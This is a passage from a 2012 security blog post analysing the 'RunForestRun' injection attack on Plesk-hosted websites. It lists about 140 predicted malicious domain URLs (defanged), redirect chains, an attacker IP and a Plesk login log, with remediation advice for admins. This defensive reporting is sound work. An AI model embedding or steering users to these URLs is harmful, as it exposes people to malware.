<p>Unlike that Twitter-based algorithm, this new attack has a really dumb pseudo random string generator. It&#8217;s based on such a predictable factor as a current data and time (before noon or after noon). It generates new domain names every 12 hours.</p>
<h3 id="predicted">Predicted malicious URLs and sink holes</h3>
<p>No wonder, it only took a couple of minutes to write a simple script that predicts URLs of the malicious iframes that this attack will use by the end of summer of 2012. Then a quick check showed that 89 of the domain names (up to August 7th, 2012) are already registered and point to <a href="http://whois.domaintools.com/95.211.27.206">95.211.27.206</a>.  When I try to open the predicted malicious URLs I see the &#8220;<strong><em>domain suspended due to abuse reports</em></strong>&#8221; message. It looks like someone has already taken care of this attack and sink-holed its domain names.</p>
<p>Or is it a just trick that attackers use to make me think that there is nothing to worry about? It looks quite suspicious that <a href="http://whois.domaintools.com/95.211.27.206">95.211.27.206</a> is on <a href="http://blog.unmaskparasites.com/tag/leaseweb/">Leaseweb</a> (cybercriminals like to use this hosting provider), and nameservers have Russian names &#8220;<em><span style="color: #993300;">evilstalin.compress.to</span></em>&#8221; and &#8220;<em><span style="color: #993300;">smolny.compress.to</span></em>&#8220;. At the same time all domains are registered by a &#8220;Private Person&#8221; using a Russian registrar NAUNET that is <a href="http://spamtrackers.eu/wiki/index.php/NAUNET-REG-RIPN">known for being </a><a href="http://suespammers.net/naunet-ru-naunet-reg-ripn-spam/">loyal to spammers</a> <a href="https://zeustracker.abuse.ch/monitor.php?registrar=NAUNET-REG-RIPN">and other cybercryminals</a>. The WHOIS information and IP addresses for domains registered before the beginning of the attack (on June 8th) are the same as for domain names that had been registered just yesterday &#8212; this means that they all have been registered by the attackers.</p>
<p>And if you read comments to the following <a href="http://www.reddit.com/r/netsec/comments/v9s8z/so_i_think_this_guy_got_his_website_hacked_there/c52kkxy">reddit thread</a>, you will see that some people get the &#8220;<em>domain suspended due to abuse</em>&#8221; message while others get redirected to &#8220;<span style="color: #993300;">hxxp://db8237d82bdu .ipq .co/feed/xml.php?uid=12</span>&#8221; and &#8220;<span style="color: #993300;">hxxp://masvip .ru/6662/take.html</span>&#8220;, which suggests that there is some server-side logic that filters traffic (probably by IP, Referrer , etc.)</p>
<p><strong id="update3">Update (June 28, 2012):</strong> Today I saw myself how the &#8220;<span style="color: #993300;">hxxp://gytcnulxsxpsqkfn .ru/runforestrun?sid=cx</span>&#8221; URL returned 302 redirect to &#8220;<span style="color: #993300;">hxxp://insurancecentre .ru/in.cgi?7</span>&#8220;,  which in turn redirected to &#8220;<span style="color: #993300;">hxxp://freshtds .eu/default.cgi</span>&#8220;.</p>
<p>And what do you think? Are these domains sink-holed or they only pretend to be sink-holed?</p>
<p>By the way, here&#8217;s my list of the predicted malicious URLs.</p>
<p><strong id="update4">Update (July 6, 2012):</strong> At this point I see that predicted domain names are already registered through September 7th, 2012, so I genarated a new list (up to October 9th) and put it here: <a href="http://pastebin.com/iZWFrDPC">http://pastebin.com/iZWFrDPC</a></p>
<p><strong>Update (July 26, 2012):</strong> The attack has changed both the injected script and the domain generating algorithm. See details in my <a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/">follow up article</a>.</p>
<p><code>hxxp://xmexlajhysktwdqe .ru/runforestrun?sid=cx<br />
hxxp://atsihkcljrqlzvku .ru/runforestrun?sid=cx<br />
hxxp://kahmnunornwrgpgb .ru/runforestrun?sid=cx<br />
hxxp://mfwqdxgdpwiojrjp .ru/runforestrun?sid=cx<br />
hxxp://wmiudbgrcvapriql .ru/runforestrun?sid=cx<br />
hxxp://yrxysfyekjfooere .ru/runforestrun?sid=cx<br />
hxxp://jzkitejvrxgkgpgi .ru/runforestrun?sid=cx<br />
hxxp://lfbovcaitdrjmkbe .ru/runforestrun?sid=cx<br />
hxxp://ulnrpbudycxzdlkt .ru/runforestrun?sid=cx<br />
hxxp://xqcwfwfphwoieuny .ru/runforestrun?sid=cx<br />
hxxp://hyoflopkupjioiqq .ru/runforestrun?sid=cx<br />
hxxp://keglxucgvwhqttmi .ru/runforestrun?sid=cx<br />
hxxp://tlrnhskrgijhwtlj .ru/runforestrun?sid=cx<br />
hxxp://vqhtwlshzzqsltcp .ru/runforestrun?sid=cx<br />
hxxp://gytcnulxsxpsqkfn .ru/runforestrun?sid=cx<br />
hxxp://iekiyvsbtyozmmwy .ru/runforestrun?sid=cx<br />
hxxp://dernflilrdxmfnye .ru/runforestrun?sid=cx<br />
hxxp://fjgtmicxtlxynlpf .ru/runforestrun?sid=cx<br />
hxxp://ppsvcvrcgkllplyn .ru/runforestrun?sid=cx<br />
hxxp://ruhctasjmpqbyvhm .ru/runforestrun?sid=cx<br />
hxxp://bdvkpbuldslsapeb .ru/runforestrun?sid=cx<br />
hxxp://eilqnjkoytyjuchn .ru/runforestrun?sid=cx<br />
hxxp://npxsiiwpxqqiihmo .ru/runforestrun?sid=cx<br />
hxxp://qtmyeslmsoxkjbku .ru/runforestrun?sid=cx<br />
hxxp://adbjjkquyyhyqknf .ru/runforestrun?sid=cx<br />
hxxp://ciqmhuwgvfsxdtrw .ru/runforestrun?sid=cx<br />
hxxp://mocrafrewsdjztbj .ru/runforestrun?sid=cx<br />
hxxp://otruvbidvikzhlop .ru/runforestrun?sid=cx<br />
hxxp://yafzvancybuwmnno .ru/runforestrun?sid=cx<br />
hxxp://bhujzorkulhkpwob .ru/runforestrun?sid=cx<br />
hxxp://lohnrnnpvvtxedfl .ru/runforestrun?sid=cx<br />
hxxp://ntvrnrdpyoadopbo .ru/runforestrun?sid=cx<br />
hxxp://wakvnkyzkyietkdr .ru/runforestrun?sid=cx<br />
hxxp://zfyafrjmmajqfvbh .ru/runforestrun?sid=cx<br />
hxxp://jnlkttkruqsdjqlx .ru/runforestrun?sid=cx<br />
hxxp://lsbppxhgckolsnap .ru/runforestrun?sid=cx<br />
hxxp://vznrahwzgntmfcqk .ru/runforestrun?sid=cx<br />
hxxp://xeeypppxswpquvrf .ru/runforestrun?sid=cx<br />
hxxp://inqgvoeohpcsfxmn .ru/runforestrun?sid=cx<br />
hxxp://ksgmckchdppqeicu .ru/runforestrun?sid=cx<br />
hxxp://uyrorwlibbjeasoq .ru/runforestrun?sid=cx<br />
hxxp://wejungvnykczyjam .ru/runforestrun?sid=cx<br />
hxxp://gmvdnpqbblixlgxj .ru/runforestrun?sid=cx<br />
hxxp://jrkjelzwleadyxsd .ru/runforestrun?sid=cx<br />
hxxp://sywleisrsstsqoic .ru/runforestrun?sid=cx<br />
hxxp://venrfhmthwpqlqge .ru/runforestrun?sid=cx<br />
hxxp://fmacqvmqafqwmebl .ru/runforestrun?sid=cx<br />
hxxp://hrpgglxvqwjesffr .ru/runforestrun?sid=cx<br />
hxxp://rxbkqfydlnzopqrn .ru/runforestrun?sid=cx<br />
hxxp://tdsorylshsxjeawf .ru/runforestrun?sid=cx<br />
hxxp://elfxqghdubihhsgd .ru/runforestrun?sid=cx<br />
hxxp://gqtcxunxhyujqjkf .ru/runforestrun?sid=cx<br />
hxxp://qxggipnnfmnihkic .ru/runforestrun?sid=cx<br />
hxxp://sdxkjaophbtufumx .ru/runforestrun?sid=cx<br />
hxxp://clkujrjqvexvbmoi .ru/runforestrun?sid=cx<br />
hxxp://fqyyxagzkrpvxtki .ru/runforestrun?sid=cx<br />
hxxp://owldagkyzrkhqnjo .ru/runforestrun?sid=cx<br />
hxxp://rccjvgsgffokiwze .ru/runforestrun?sid=cx<br />
hxxp://blorcdyiipxcwyxv .ru/runforestrun?sid=cx<br />
hxxp://dpewaddpoewiycnj .ru/runforestrun?sid=cx<br />
hxxp://nwpykqeizraqthry .ru/runforestrun?sid=cx<br />
hxxp://pchgijctfprxhnje .ru/runforestrun?sid=cx<br />
hxxp://zisiiogqigzzqqeq .ru/runforestrun?sid=cx<br />
hxxp://cpittmwbqtjrjpql .ru/runforestrun?sid=cx<br />
hxxp://mvuvchtcxxibeubd .ru/runforestrun?sid=cx<br />
hxxp://oblcasnhxbbocpfj .ru/runforestrun?sid=cx<br />
hxxp://xixftoplsduqqorx .ru/runforestrun?sid=cx<br />
hxxp://bpnqmxkpxxgbdnby .ru/runforestrun?sid=cx<br />
hxxp://kvzstpqmeoxtcwko .ru/runforestrun?sid=cx<br />
hxxp://nbqypqrjiqxlfvdj .ru/runforestrun?sid=cx<br />
hxxp://whddmvrxufbkkoew .ru/runforestrun?sid=cx<br />
hxxp://ymrhcvphevonympo .ru/runforestrun?sid=cx<br />
hxxp://jveqgnmjxkocqifr .ru/runforestrun?sid=cx<br />
hxxp://lavvckpordclbduy .ru/runforestrun?sid=cx<br />
hxxp://vhhzcvbegxbjsxke .ru/runforestrun?sid=cx<br />
hxxp://xmwettbvtbhvrjuo .ru/runforestrun?sid=cx<br />
hxxp://gacdiuwnhonuulpe .ru/runforestrun?sid=cx 95.211.27.206<br />
hxxp://ifrhgnqeeotnzrmz .ru/runforestrun?sid=cx<br />
hxxp://rmdlgyreitjsjkfq .ru/runforestrun?sid=cx<br />
hxxp://uqspvdwyltgcyhft .ru/runforestrun?sid=cx<br />
hxxp://ezfydrexncoidbus .ru/runforestrun?sid=cx<br />
hxxp://hfveiooumeyrpchg .ru/runforestrun?sid=cx<br />
hxxp://qlihxnncwioxkdls .ru/runforestrun?sid=cx 95.211.27.206<br />
hxxp://sqwlonyduvpowdgy .ru/runforestrun?sid=cx<br />
hxxp://dyjvewshptsboygd .ru/runforestrun?sid=cx<br />
hxxp://febcbuyswmishvpl .ru/runforestrun?sid=cx<br />
hxxp://plmekaayiholtevt .ru/runforestrun?sid=cx<br />
hxxp://rpckbgrziwbdrmhr .ru/runforestrun?sid=cx<br />
hxxp://cyosongjihugkjbg .ru/runforestrun?sid=cx  Aug 7.<br />
hxxp://eefysywrvkgxuqdf .ru/runforestrun?sid=cx<br />
hxxp://nkrbvqxzfwicmhwb .ru/runforestrun?sid=cx<br />
hxxp://qphhsudsmeftdaht .ru/runforestrun?sid=cx<br />
hxxp://axtopsbtntqnfdyk .ru/runforestrun?sid=cx<br />
hxxp://ddkudnuklgiwtdyw .ru/runforestrun?sid=cx<br />
hxxp://mkwwclogcvgeekws .ru/runforestrun?sid=cx<br />
hxxp://opldkflyvlkywuec .ru/runforestrun?sid=cx<br />
hxxp://yvxfekhokspfuwqr .ru/runforestrun?sid=cx<br />
hxxp://bdprvpxdejpohqpt .ru/runforestrun?sid=cx<br />
hxxp://ljbvfrsvcevyfhor .ru/runforestrun?sid=cx<br />
hxxp://noqzuukouyfuyrmd .ru/runforestrun?sid=cx<br />
hxxp://xvcewyydwsmdgaju .ru/runforestrun?sid=cx<br />
hxxp://zatiscwwtipqlycd .ru/runforestrun?sid=cx<br />
hxxp://jjgshrjdcynohyuk .ru/runforestrun?sid=cx<br />
hxxp://mouwwvcwwlilnxub .ru/runforestrun?sid=cx<br />
hxxp://vuhaojpwxgsxuitu .ru/runforestrun?sid=cx<br />
hxxp://yayfefhrwawquwcw .ru/runforestrun?sid=cx<br />
hxxp://iiloishkjwvqldlq .ru/runforestrun?sid=cx<br />
hxxp://knauycqgsdhgbwjo .ru/runforestrun?sid=cx<br />
hxxp://uumwyzhctrwdsrdp .ru/runforestrun?sid=cx<br />
hxxp://wzbdwenwshfzglwt .ru/runforestrun?sid=cx<br />
hxxp://hiplksflttfkpsxn .ru/runforestrun?sid=cx<br />
hxxp://jnfrqmekhoevppvw .ru/runforestrun?sid=cx<br />
hxxp://ttqtkmthptxvwiku .ru/runforestrun?sid=cx<br />
hxxp://vygzhvfiuommkqfj .ru/runforestrun?sid=cx<br />
hxxp://fhuidtlqttqxgjvn .ru/runforestrun?sid=cx<br />
hxxp://imjosxuhbcdonrco .ru/runforestrun?sid=cx<br />
hxxp://rtvqcdpbqxgwnrcn .ru/runforestrun?sid=cx<br />
hxxp://tykvyflnjhbnqpnr .ru/runforestrun?sid=cx<br />
hxxp://ehyewyqydfpidbdp .ru/runforestrun?sid=cx<br />
hxxp://gmokuosvnbkshdtd .ru/runforestrun?sid=cx<br />
hxxp://qsbourrdxgxgwepy .ru/runforestrun?sid=cx<br />
hxxp://sxpskxdgoczvcjgp .ru/runforestrun?sid=cx<br />
hxxp://dhedppigtpbwrmpc .ru/runforestrun?sid=cx<br />
hxxp://flthmyjeuhdygshf .ru/runforestrun?sid=cx<br />
hxxp://osflhkaowydftniw .ru/runforestrun?sid=cx<br />
hxxp://rxupwhkznihnxzqx .ru/runforestrun?sid=cx<br />
hxxp://bgjzhlasdrwwnenj .ru/runforestrun?sid=cx<br />
hxxp://elxegvkalqvkyoxc .ru/runforestrun?sid=cx<br />
hxxp://nrkhysgoltauclop .ru/runforestrun?sid=cx<br />
hxxp://pwyloytoagndnrex .ru/runforestrun?sid=cx<br />
hxxp://zenquqdskekaudbe .ru/runforestrun?sid=cx<br />
hxxp://cldcrgtnuwvgnbfd .ru/runforestrun?sid=cx<br />
hxxp://mroeqjdaukskbgua .ru/runforestrun?sid=cx<br />
hxxp://owekhoeuhmdiehrw .ru/runforestrun?sid=cx<br />
hxxp://ydrngsmrdiiyvoiy .ru/runforestrun?sid=cx<br />
hxxp://bkhyiqitpoxewhmt .ru/runforestrun?sid=cx</code></p>
<h3 id="hole">What&#8217;s the security hole?</h3>
<p>Another important questions is how all those legitimate sites had been compromised in the first place.</p>
<p>At this point I haven&#8217;t had a chance to work directly with infected sites and check what&#8217;s going on inside. So I have to resort to analysis of factors that I can see from outside. I checked about a dozen of infected sites and they all use different web technologies from ASP.NET to pure HTML. They are all on different web servers: IIS, Litespeed, Apache. The only common link I can see is <a href="http://www.parallels.com/products/plesk/">Plesk</a>. When I check other sites on the same IP addresses I usually find a few more infected site (not all though). So could this be some security hole in Plesk that made this attack possible. What do you think?</p>
<p><strong id="update">Update (June 23, 2012):</strong> Thanks to everyone who left comments. The problem seems to be really in Plesk. <a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/comment-page-1/#comment-19104">Axel found traces</a> of the attack in Plesk access logs. The attacker logged in and used file manager&#8217;s editor to modify .js files. Axel blames the Plesk vulnerability (versions before 10.4 are affected) found earlier this year and suggests that server admins fix it: <a href="http://kb.parallels.com/en/113321">http://kb.parallels.com/en/113321</a> and reset passwords for all plesk accounts:</p>
<blockquote><p>So if you are affected, then immediately change passwords of ALL Plesk accounts. This means: Plesk-admin-user, all reseller-accounts, all domain-administrators, FTP users of subdomains and web users of domains. And of course, if not previously done, update your Plesk installation!!</p></blockquote>
<p>Here&#8217;s one more usefull link for server admins: <a href="http://kb.parallels.com/en/113424">How to make sure your Plesk Panel 8.x, 9.x, 10.0, 10.1, 10.2, or 10.3 is not vulnerable</a></p>
<p><strong id="webmasters">To webmasters:</strong> If your site is affected by this hack, contact your hosting provider ASAP and show them this post. Change your account passwords. And if your host resets your passwords there is a good reason for that. Don&#8217;t change your passwords back to your old ones!</p>
<p><strong id="update2">Update 2 (June 25, 2012):</strong> To find out more about this problem, I asked Axel a few questions and he agreed to explain what&#8217;s going on:</p>
<blockquote><p>It is important to distinguish between the attack and the security hole. The attack was not carried out directly by a security hole, but by means of a valid username/password combination.</p>
<p>The attacker used the built-in Plesk File Manager to replace files, so there are no entries in other log files (such as FTP-log -&gt;<a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/comment-page-1/#comment-19110"> Shafiq&#8217;s comment</a>). And there were a number of files changed with the same javascript code at a time. As you can see in <a href="http://pastebin.com/kvc30bWV" target="_blank">the log-excerpt</a>, there were 3 replacements: <strong>javascript_a1cb3a5978.js</strong> / <strong>jquery.min.js</strong> / <strong>easySlider1.7.js</strong></p>
<p>This file selection has been very well analyzed (no TYPO3 standard files), so it is also clear that it was not an automated attack, but was executed by a human. By the way: the origin of my attack was another compromised server from Germany.</p>
<p>However, the real problem was/is the Plesk vulnerability (<a href="http://kb.parallels.com/en/113321">http://kb.parallels.com/en/113321</a>). Many admins do not realize that their passwords have been spied out weeks or months ago. To make it more clear: Due to the Plesk vulnerability database tables could be read. And unfortunately <em><strong>all Passwords in Plesk are stored in plain text</strong></em>!! Take a look in database &#8216;<strong>psa</strong>&#8216; at table &#8216;<strong>accounts</strong>&#8216; (and better sit down before doing that!). That&#8217;s why it is so important to change ALL passwords.</p>
<p>Just fixing this vulnerability AFTER the server has been compromised, without changing ALL passwords, leave valid username/password combinations! So the attacker can come back after weeks or months and attack even in the meantime updated Plesk systems!!!</p>
<p>How can one find out whether the server has been compromised (weeks ago)? This is actually very difficult. For me it works to look at the Plesk Action Log: There were times were I detect many VALID account logins from different IPs in a very short time. This can&#8217;t be real and seems to be a kind of automated control of the captured login data. A very clear sign of the attack :-(</p>
<p><strong>Plesk Action Log excerpt:</strong></p>
<p><code>46.10.200.000 site1 [2012-02-16 17:11:47] 'CP User Login' ('Contact Name': ''=&gt; 'xxxxxxxxx')<br />
187.20.211.000 site2 [2012-02-16 17:11:47] 'CP User Login' ('Contact Name': ''=&gt; 'xxxxxxxxx')<br />
118.71.113.000 site3 [2012-02-16 17:11:48] 'CP User Login' ('Contact Name': ''=&gt; 'xxxxxxxxx')<br />
94.189.172.000 site4 [2012-02-16 17:11:49] 'CP User Login' ('Contact Name': ''=&gt; 'xxxxxxxxx')<br />
86.194.202.000 site5 [2012-02-16 17:11:54] 'CP User Login' ('Contact Name': ''=&gt; 'xxxxxxxxx')<br />
190.145.1.000 site6 [2012-02-16 17:11:55] 'CP User Login' ('Contact Name': ''=&gt; 'xxxxxxxxx')<br />
94.156.241.00 site7 [2012-02-16 17:11:56] 'CP User Login' ('Contact Name': ''=&gt; 'xxxxxxxxx')<br />
83.29.250.00 site8 [2012-02-16 17:11:58] 'CP User Login' ('Contact Name': ''=&gt; 'xxxxxxxxx')<br />
...<br />
99.238.82.000 site5 [2012-02-19 00:04:05] 'CP User Login' ('Contact Name': ''=&gt; 'xxxxxxxxx')<br />
93.194.210.00 site4 [2012-02-19 00:04:05] 'CP User Login' ('Contact Name': ''=&gt; 'xxxxxxxxx')<br />
213.37.176.000 site3 [2012-02-19 00:04:05] 'CP User Login' ('Contact Name': ''=&gt; 'xxxxxxxxx')<br />
175.108.102.000 site1 [2012-02-19 00:04:06] 'CP User Login' ('Contact Name': '' =&gt; 'xxxxxxxxx')<br />
180.220.149.000 site7 [2012-02-19 00:04:09] 'CP User Login' ('Contact Name': '' =&gt; 'xxxxxxxxx')<br />
196.221.180.000 site8 [2012-02-19 00:04:09] 'CP User Login' ('Contact Name': '' =&gt; 'xxxxxxxxx')<br />
99.238.82.000 site5 [2012-02-19 00:04:13] 'CP User Logout' ('Contact Name': 'xxxxxxxxx' =&gt; '')</code></p>
<p>I hope this helps</p>
<p>Axel</p></blockquote>
<p>&#8230;</p>
<p><strong id="update5">Update (July 8, 2012):</strong> Here&#8217;s an <a href="http://forum.parallels.com/showthread.php?p=630246">interesting thread on the Parallels forum</a> where server admins say that they applied security patches and reset passwords but their servers were re-infected shortly after that. Anyone has a proven solution to permanently fix this issue without breaking the File Manager (as suggested in the following <a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/comment-page-1/#comment-19257">comment</a>)?</p>
<p>A few more questions to admins of affected server. Especially if your servers got reinfected after changing passwords and applying security patches.</p>
<ol>
<li>Did you consider use of backdoors? Did you search for backdoors?</li>
<li>Did you consider scenario where hackers created some rogue users on your server? Maybe even an extra admin user? Did you try to search  for users with suspicious activity or with excessive permissions?</li>
</ol>
<p>By the way, the rumor has it that on hacker forums, someone offers an <a href="http://krebsonsecurity.com/2012/07/plesk-0day-for-sale-as-thousands-of-sites-hacked/">exploit (quite expensive) for Plesk &lt;=10.4</a> that allows to obtain admin password and remotely execute code on server (looks like it&#8217;s for Windows servers only).</p>
<p><strong id="update6">Update (July 15, 2012):</strong> Parallels has just released the <a href="http://kb.parallels.com/en/114379">&#8220;Big&#8221; Security Update</a> for Plesk v<strong>8-10</strong> (all OS) and Plesk <strong>11</strong> (Windows only). They don&#8217;t disclose details but mention that the security issue is &#8220;critical&#8221; and they found it during internal testing. Not sure whether it can fix this current issue but it is definitely something administrators of servers with Plesk Panel should do. (And then comment whether it helped or not)</p>
<p>##<br />
Your thoughts and  comments are highly appreciated.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/07/26/runforestrun-now-encrypts-legitimate-js-files/">RunForestRun Now Encrypts Legitimate JS Files</a></li>
<li><a href="http://blog.unmaskparasites.com/2012/06/26/millions-of-website-passwords-stored-in-plain-text-in-plesk-panel/">Millions of Website Passwords Stored in Plain Text in Plesk Panel</a></li>
<li><a href="http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/">Lorem Ipsum and Twitter Trends in Malware</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/11/hackers-use-twitter-api-to-trigger-malicious-scripts/">Hackers Use Twitter API To Trigger Malicious Scripts</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=UYNl8f9DzJo:oqZ4e41CPUo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=UYNl8f9DzJo:oqZ4e41CPUo:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=UYNl8f9DzJo:oqZ4e41CPUo:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=UYNl8f9DzJo:oqZ4e41CPUo:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/feed/</wfw:commentRss>
		<slash:comments>94</slash:comments>
		</item>
	</channel>
</rss><!-- Dynamic page generated in 0.889 seconds. --><!-- Cached page generated by WP-Super-Cache on 2013-05-23 20:52:24 -->
